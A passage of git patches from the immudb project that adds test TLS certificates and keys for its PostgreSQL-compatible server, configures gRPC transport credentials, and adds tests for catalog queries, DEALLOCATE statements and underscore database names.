+3eV++2lFtzVhHnm1jXKP1zXlhdW4akdoQWY6tfOGcT9mtlzhhEvUAWk6crQXjiuN +iSqNujcxgVTC+xMLbqsuotApysWsqU6wDkKi7blL2VPicw6c8VA7/81ndEgZPIaa +vwopAU/AmEZF2KGlf1bbRVoXxATi +-----END PRIVATE KEY----- diff --git a/pkg/pgsql/server/cert/server-cert.pem b/pkg/pgsql/server/cert/server-cert.pem new file mode 100644 index 0000000000..2d699715ec --- /dev/null +++ b/pkg/pgsql/server/cert/server-cert.pem @@ -0,0 +1,34 @@ +-----BEGIN CERTIFICATE----- +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 +-----END CERTIFICATE----- diff --git a/pkg/pgsql/server/cert/server-ext.cnf b/pkg/pgsql/server/cert/server-ext.cnf new file mode 100644 index 0000000000..89146b3e8a --- /dev/null +++ b/pkg/pgsql/server/cert/server-ext.cnf @@ -0,0 +1 @@ +subjectAltName=DNS:*.immudb.com,IP:0.0.0.0 \ No newline at end of file diff --git a/pkg/pgsql/server/cert/server-key.pem b/pkg/pgsql/server/cert/server-key.pem new file mode 100644 index 0000000000..d33ab5c0b4 --- /dev/null +++ b/pkg/pgsql/server/cert/server-key.pem @@ -0,0 +1,52 @@ +-----BEGIN PRIVATE KEY----- +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 +bonieX/tWyj+V6l1vlkUwd4xTGas +-----END PRIVATE KEY----- diff --git a/pkg/pgsql/server/cert/server-req.pem b/pkg/pgsql/server/cert/server-req.pem new file mode 100644 index 0000000000..19c9385186 --- /dev/null +++ b/pkg/pgsql/server/cert/server-req.pem @@ -0,0 +1,28 @@ +-----BEGIN CERTIFICATE REQUEST----- +MIIEuzCCAqMCAQAwdjELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVRleGFzMRAwDgYD +VQQHDAdIb3VzdG9uMQ8wDQYDVQQKDAZpbW11ZGIxFDASBgNVBAMMCyouaW1tdWRi +LmlvMR4wHAYJKoZIhvcNAQkBFg9pbmZvQGltbXVkYi5jb20wggIiMA0GCSqGSIb3 +DQEBAQUAA4ICDwAwggIKAoICAQDPX6u6QPeuv8k0EmYiG7eO3tvhvF4an/gvju+0 +sh0i936x890rMjXdSr0ll/rK3vfVVLDzM35gPllmdNu8jXJKRZLzUyQVcsxYleJV +fG3I0EdBHS0u0aew1TK0nHofGYEuVB40nb97SslpkCHxgOo4Fm53FKfT2l/BH4mb +5m/oHqg8D+Aq2g73oGsiMf4krEtJwKQ/+AhWFNhmdOh9P0vd8dLFZ4ZZs19m1xpP +f3lhGfvJAFR8HQ5/7a03msXUTNeAxhQmrC/dVanGsPATU0Q9Bh2bkAJrKpgYP5yU +7L3eXi0Bbx6EjQV0TnAToZV/otxF0roKMdB2vvGupambxekgCTV3ZuPSLN5kbAyx +8xzEhmkdBvgIxzEVpHae3WpW7JsFitvPrF0Uvesx5vR9y/CPJyHcJLbnTFbDXq3Z +w9GV8crs2TiG390D+tElU0/4x8ed76r1Fs8LkMKTISbGoC+OkqhRcAJ2S0/CaxMJ +eOTizZRKFXHZsTnR1sDwKug38g2v7QwRtvmOrOT10eXZxLIKd+tbNS/1m1Y0b5ia +ZCB1axMTyhv9Y6L6x6a/c34UQaSpMOTTg33D1DjhrRQNVd/ihINfVqQEkxZmnO+B +ftZwnnAy4PLkiUTeoQ1Wv+ewF8sffctN1vOrsol5/Hr6cqH12eG5AY+7Hd3NViGL +xTpvwwIDAQABoAAwDQYJKoZIhvcNAQELBQADggIBACgdPg5bolGkxeBktGS3m4t3 +ZN5bwn98ZO8CbcMSSKiFtgLT2ZdwN07O1y/KWN3LZLiqac83VGczA5FrQeJ3J2Yx +hd98C6Zda/xT8O4fgVzoL/QDIkVJFBAjHs+nIFTCBZMVI6kmiw/SMNrKPzL7Vl7Q +VPiPIpCB85pg1ZZadlakpimyxapT05Rww0EJI7DwXtd+GfaKNOsETUa0g7qFq1wI +7ko6vN2NF6sU+PK0zaD8HStyMSgFWpjQfjSwLOlzVFsOFbYqJ3JK8PeX84/ep6/6 +zI73pNNBeys9u8dR9OF8xmk1YhKQDtbPzD2mzyYZoyKI8KgzWkfm8/xR6V6yznDv +jBKEG0gjt8Hp9OVhno+B9/WZWzTZkzqN2VxdLlLOAq6gnHy3C7aiwfRMZ8Kir9XF +qfe7xXYQdCikO2O8jxxzLIP+lWk8B8F83yEK+A+BnN3yIi+A/v5DByrkUzRn78QU +qCqqeW4aSlrgdLmfThIkA7Om4fesgKKYaPfjdvzFtJyLqxw4PRbo1kHjmw5xqMob +qtuU6zVCzAiOxq+ENlJVrOo3eI0gaYastlWhsi57Maf9IHH+pmMzpS4CVg2nS0OB +wQ6oYqWWGH2xhXmgcFH+c/VXb/wYsgkMHiUuIeLCrxaTDQr2zF1cLhXFkuWBInnY +uyY9qqJ+0AdO49yENS3M +-----END CERTIFICATE REQUEST----- diff --git a/pkg/pgsql/server/initialize_session.go b/pkg/pgsql/server/initialize_session.go index 48ccacb061..5d8b3eefe4 100644 --- a/pkg/pgsql/server/initialize_session.go +++ b/pkg/pgsql/server/initialize_session.go @@ -20,6 +20,7 @@ import ( "bufio" "bytes" "context" + "crypto/tls" "encoding/binary" "errors" "fmt" @@ -30,6 +31,9 @@ import ( bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" + "google.golang.org/grpc" + "google.golang.org/grpc/credentials" + "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" ) @@ -166,10 +170,23 @@ func (s *session) HandleStartup(ctx context.Context) (err error) { return pserr.ErrPwNotprovided } + var transportCredentials credentials.TransportCredentials + + if s.tlsConfig == nil || s.tlsConfig.RootCAs == nil { + transportCredentials = insecure.NewCredentials() + } else { + config := &tls.Config{ + RootCAs: s.tlsConfig.RootCAs, + } + + transportCredentials = credentials.NewTLS(config) + } + opts := client.DefaultOptions(). WithAddress(s.immudbHost). WithPort(s.immudbPort). - WithDisableIdentityCheck(true) + WithDisableIdentityCheck(true). + WithDialOptions([]grpc.DialOption{grpc.WithTransportCredentials(transportCredentials)}) s.client = client.NewClient().WithOptions(opts) diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index a48bf9aadc..a4a8669277 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -19,6 +19,7 @@ package server_test import ( "context" "crypto/tls" + "crypto/x509" "database/sql" "encoding/hex" "fmt" @@ -604,28 +605,21 @@ func TestPgsqlServer_SimpleQueryQueryExecError(t *testing.T) { func TestPgsqlServer_SimpleQueryQuerySSLConn(t *testing.T) { td := t.TempDir() - certPem := []byte(`-----BEGIN CERTIFICATE----- -MIIBhTCCASugAwIBAgIQIRi6zePL6mKjOipn+dNuaTAKBggqhkjOPQQDAjASMRAw -DgYDVQQKEwdBY21lIENvMB4XDTE3MTAyMDE5NDMwNloXDTE4MTAyMDE5NDMwNlow -EjEQMA4GA1UEChMHQWNtZSBDbzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABD0d -7VNhbWvZLWPuj/RtHFjvtJBEwOkhbN/BnnE8rnZR8+sbwnc/KhCk3FhnpHZnQz7B -5aETbbIgmuvewdjvSBSjYzBhMA4GA1UdDwEB/wQEAwICpDATBgNVHSUEDDAKBggr -BgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MCkGA1UdEQQiMCCCDmxvY2FsaG9zdDo1 -NDUzgg4xMjcuMC4wLjE6NTQ1MzAKBggqhkjOPQQDAgNIADBFAiEA2zpJEPQyz6/l -Wf86aX6PepsntZv2GYlA5UpabfT2EZICICpJ5h/iI+i341gBmLiAFQOyTDT+/wQc -6MF9+Yw1Yy0t ------END CERTIFICATE-----`) - - keyPem := []byte(`-----BEGIN EC PRIVATE KEY----- -MHcCAQEEIIrYSSNQFaA2Hwf1duRSxKtLYX5CB04fSeQ6tF1aY/PuoAoGCCqGSM49 -AwEHoUQDQgAEPR3tU2Fta9ktY+6P9G0cWO+0kETA6SFs38GecTyudlHz6xvCdz8q -EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== ------END EC PRIVATE KEY-----`) + pemServerCA, err := os.ReadFile("cert/ca-cert.pem") + require.NoError(t, err) - cert, err := tls.X509KeyPair(certPem, keyPem) + serverCert, err := tls.LoadX509KeyPair("cert/server-cert.pem", "cert/server-key.pem") require.NoError(t, err) - cfg := &tls.Config{Certificates: []tls.Certificate{cert}} + certPool := x509.NewCertPool() + if !certPool.AppendCertsFromPEM(pemServerCA) { + panic("failed to add client CA's certificate") + } + + cfg := &tls.Config{ + RootCAs: certPool, + Certificates: []tls.Certificate{serverCert}, + } options := server.DefaultOptions(). WithDir(td). From 60ce13c9d325cf430b74fe046fae1669e80b8e05 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Nov 2023 17:40:45 +0100 Subject: [PATCH 0909/1062] chore(pkg/pgsql): single command complete message Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 9d4c1cb37e..96e422504a 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -285,11 +285,11 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N return err } } + } - _, err = s.writeMessage(bm.CommandComplete([]byte("ok"))) - if err != nil { - return err - } + _, err = s.writeMessage(bm.CommandComplete([]byte("ok"))) + if err != nil { + return err } return nil From 5ab416c0c03102faf1a7813dcbd4faf3d285dadc Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 6 Nov 2023 10:04:49 +0100 Subject: [PATCH 0910/1062] test(pkg/pgsql): query machine protocol upgrade Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine_test.go | 8 -------- 1 file changed, 8 deletions(-) diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index 15585063c8..ad546f201b 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -47,8 +47,6 @@ func TestSession_QueriesMachine(t *testing.T) { c2.Write([]byte("_")) unsupported := make([]byte, 500) c2.Read(unsupported) - ready4Query = make([]byte, len(bmessages.ReadyForQuery())) - c2.Read(ready4Query) c2.Close() }, out: nil, @@ -81,8 +79,6 @@ func TestSession_QueriesMachine(t *testing.T) { c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("wrong_st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) errst := make([]byte, 500) c2.Read(errst) - ready4Query = make([]byte, len(bmessages.ReadyForQuery())) - c2.Read(ready4Query) c2.Write(h.Msg('B', h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}))) c2.Write(h.Msg('S', []byte{0})) ready4Query = make([]byte, len(bmessages.ReadyForQuery())) @@ -101,8 +97,6 @@ func TestSession_QueriesMachine(t *testing.T) { c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("wrong statement"), h.I16(1), h.I32(0)}))) errst := make([]byte, 500) c2.Read(errst) - ready4Query = make([]byte, len(bmessages.ReadyForQuery())) - c2.Read(ready4Query) // Terminate message c2.Write(h.Msg('X', []byte{0})) @@ -121,8 +115,6 @@ func TestSession_QueriesMachine(t *testing.T) { c2.Write(h.Msg('P', h.Join([][]byte{h.S("st"), h.S("set test"), h.I16(1), h.I32(0)}))) errst := make([]byte, 500) c2.Read(errst) - ready4Query = make([]byte, len(bmessages.ReadyForQuery())) - c2.Read(ready4Query) // Terminate message c2.Write(h.Msg('X', []byte{0})) From 02d61901c84a63e4a7d70e47860e8109c44fb4db Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 7 Nov 2023 12:17:04 +0100 Subject: [PATCH 0911/1062] test(embedded/sql): cover pg_type reserved table Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 44 +++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index d302511d78..dec881bc64 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -96,6 +96,13 @@ func TestUseDatabaseWithoutMultiDBHandler(t *testing.T) { _, err := engine.Query(context.Background(), nil, "SELECT * FROM DATABASES()", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) }) + + r, err := engine.Query(context.Background(), nil, "SELECT ts FROM pg_type WHERE ts < 1 + NOW()", nil) + require.NoError(t, err) + defer r.Close() + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) } func TestCreateTable(t *testing.T) { @@ -6017,6 +6024,25 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) }) + t.Run("show databases", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SHOW DATABASES", nil) + require.NoError(t, err) + + for _, db := range dbs { + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.NotNil(t, row) + require.NotNil(t, row) + require.Equal(t, db, row.ValuesBySelector["(databases.name)"].RawValue()) + } + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = r.Close() + require.NoError(t, err) + }) + t.Run("query databases using conditions with table and column aliasing", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT dbs.name as dbname FROM DATABASES() as dbs WHERE name LIKE 'db*'", nil) require.NoError(t, err) @@ -6136,6 +6162,24 @@ func TestSingleDBCatalogQueries(t *testing.T) { require.ErrorIs(t, err, ErrNoMoreRows) }) + t.Run("show tables", func(t *testing.T) { + r, err := engine.Query(context.Background(), tx, "SHOW TABLES", nil) + require.NoError(t, err) + + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, "mytable1", row.ValuesBySelector["(tables.name)"].RawValue()) + + row, err = r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, "mytable2", row.ValuesBySelector["(tables.name)"].RawValue()) + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + }) + t.Run("unconditional index query should return all the indexes of mytable1", func(t *testing.T) { params := map[string]interface{}{ "tableName": "mytable1", From 86d273cde0c4dc07075d948ce126d8d4f0cf920d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 7 Nov 2023 12:17:31 +0100 Subject: [PATCH 0912/1062] test(pkg/pgsql): unit testing for deallocate stmt Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/errors/errors.go | 7 ------- pkg/pgsql/errors/errors_test.go | 2 -- pkg/pgsql/server/pgsql_integration_test.go | 3 +++ pkg/pgsql/server/query_machine.go | 6 ------ 4 files changed, 3 insertions(+), 15 deletions(-) diff --git a/pkg/pgsql/errors/errors.go b/pkg/pgsql/errors/errors.go index 3f790cf9e7..3d25789b27 100644 --- a/pkg/pgsql/errors/errors.go +++ b/pkg/pgsql/errors/errors.go @@ -34,7 +34,6 @@ var ErrExpectedQueryMessage = errors.New("expected query message") var ErrUseDBStatementNotSupported = errors.New("SQL statement not supported") var ErrSSLNotSupported = errors.New("SSL not supported") var ErrMaxStmtNumberExceeded = errors.New("maximum number of statements in a single query exceeded") -var ErrNoStatementFound = errors.New("no statement found") var ErrMessageCannotBeHandledInternally = errors.New("message cannot be handled internally") var ErrMaxParamsNumberExceeded = errors.New("number of parameters exceeded the maximum limit") var ErrParametersValueSizeTooLarge = errors.New("provided parameters exceeded the maximum allowed size limit") @@ -79,12 +78,6 @@ func MapPgError(err error) (er bm.ErrorResp) { bm.Message(err.Error()), bm.Hint("at the moment is possible to receive only 1 statement. Please split query or use a single statement"), ) - case errors.Is(err, ErrNoStatementFound): - er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), - bm.Code(pgmeta.ProgramLimitExceeded), - bm.Message(err.Error()), - bm.Hint("provide at least one statement"), - ) case errors.Is(err, ErrParametersValueSizeTooLarge): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.DataException), diff --git a/pkg/pgsql/errors/errors_test.go b/pkg/pgsql/errors/errors_test.go index 1b4861f050..7978df8f40 100644 --- a/pkg/pgsql/errors/errors_test.go +++ b/pkg/pgsql/errors/errors_test.go @@ -29,8 +29,6 @@ func TestMapPgError(t *testing.T) { err = ErrMaxStmtNumberExceeded be = MapPgError(err) require.NotNil(t, be) - err = ErrNoStatementFound - be = MapPgError(err) require.NotNil(t, be) err = ErrParametersValueSizeTooLarge be = MapPgError(err) diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index a4a8669277..3b31b146dc 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -728,6 +728,9 @@ func TestPgsqlServer_VersionStatement(t *testing.T) { err = db.QueryRow("SELECT version()").Scan(&version) require.NoError(t, err) require.Equal(t, pgmeta.PgsqlProtocolVersionMessage, version) + + _, err = db.Exec("DEALLOCATE \"_PLAN0x7fb2c0822800\"") + require.NoError(t, err) } func TestPgsqlServerSetStatement(t *testing.T) { diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 96e422504a..5fe5ac9c5e 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -103,12 +103,6 @@ func (s *session) QueryMachine() error { s.HandleError(pserr.ErrMaxStmtNumberExceeded) continue } - if len(stmts) == 0 { - waitForSync = extQueryMode - s.HandleError(pserr.ErrNoStatementFound) - continue - } - if paramCols, resCols, err = s.inferParamAndResultCols(stmts[0]); err != nil { waitForSync = extQueryMode s.HandleError(err) From 6d18ba64434b025ae8e97ade22108f3995dfbc74 Mon Sep 17 00:00:00 2001 From: harryjrk Date: Tue, 7 Nov 2023 21:20:27 +0100 Subject: [PATCH 0913/1062] feat(pkg/server): add support of underscore in db name Signed-off-by: Martin Jirku --- pkg/integration/database_creation_test.go | 10 ++++++++++ pkg/server/server.go | 1 + pkg/server/server_test.go | 3 +++ 3 files changed, 14 insertions(+) diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index 491b01c94f..89941bf616 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -155,3 +155,13 @@ func TestCreateDatabaseV2(t *testing.T) { _, err = client.UpdateDatabaseV2(ctx, "db1", &schema.DatabaseNullableSettings{}) require.NoError(t, err) } + +func TestCreateDatabaseWithUnderscoreCharacter(t *testing.T) { + _, client, ctx := setupTestServerAndClient(t) + + _, err := client.CreateDatabaseV2(ctx, "db_with_", nil) + require.NoError(t, err) + + _, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: "db_with_"}) + require.NoError(t, err) +} diff --git a/pkg/server/server.go b/pkg/server/server.go index 0500f07bdc..66405382ac 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1585,6 +1585,7 @@ func isValidDBName(dbName string) error { switch { case unicode.IsLower(ch): case unicode.IsDigit(ch): + case ch == '_': case unicode.IsPunct(ch) || unicode.IsSymbol(ch): hasSpecial = true default: diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 7c804bf967..5acb15531b 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1889,6 +1889,9 @@ func TestServerIsValidDBName(t *testing.T) { err = isValidDBName(strings.Repeat("a", 32)) require.NoError(t, err) + + err = isValidDBName("_") + require.NoError(t, err) } func TestServerMandatoryAuth(t *testing.T) { From 